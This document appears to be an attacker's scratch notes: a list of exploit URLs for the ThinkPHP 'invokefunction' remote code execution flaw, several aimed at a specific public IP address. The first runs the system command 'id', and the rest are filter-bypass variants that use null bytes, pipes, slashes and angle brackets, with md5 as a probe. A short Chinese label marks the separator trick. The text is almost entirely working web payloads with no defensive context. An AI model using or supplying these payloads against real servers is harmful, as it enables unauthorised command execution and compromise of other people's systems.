http://149.129.91.93:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars%5b0%5d=system&vars%5b1%5d%5b%5d=id
bypss
/ http://149.129.91.93:8080/index.php?s=index%2f%00think\app/invokefunction&function=call_user_func_array&vars%5b0%5d=md5&vars%5b1%5d%5b%5d=1
| http://149.129.91.93:8080/index.php?s=index%7c%00think\app/invokefunction&function=call_user_func_array&vars%5b0%5d=md5&vars%5b1%5d%5b%5d=1
/ http://149.129.91.93:8080/index.php?s=index%00%2fthink\app/invokefunction&function=call_user_func_array&vars%5b0%5d=md5&vars%5b1%5d%5b%5d=1
| http://localhost:8080/index.php?s=index%00%7cthink\app/invokefunction&function=call_user_func_array&vars%5b0%5d=md5&vars%5b1%5d%5b%5d=1
/\ http://localhost:8080/index.php?s=index%2f%5cthink\app/invokefunction&function=call_user_func_array&vars%5b0%5d=md5&vars%5b1%5d%5b%5d=1
</ http://149.129.91.93:8080/index.php?s=index%3c%2fthink\app/invokefunction&function=call_user_func_array&vars%5b0%5d=md5&vars%5b1%5d%5b%5d=1
|\ http://149.129.91.93:8080/index.php?s=index%7c%5cthink\app/invokefunction&function=call_user_func_array&vars%5b0%5d=md5&vars%5b1%5d%5b%5d=1
<| http://149.129.91.93:8080/index.php?s=index%3c%7cthink\app/invokefunction&function=call_user_func_array&vars%5b0%5d=md5&vars%5b1%5d%5b%5d=1
非空白字符
<xxxxxx|
<xxxxxx/
<%08| http://149.129.91.93:8080/index.php?s=index%3Cxxxx|think\app/invokefunction&function=call_user_func_array&vars%5b0%5d=md5&vars%5b1%5d%5b%5d=1
<%08/ http://149.129.91.93:8080/index.php?s=index%3Cxxxx/think\app/invokefunction&function=call_user_func_array&vars%5b0%5d=md5&vars%5b1%5d%5b%5d=1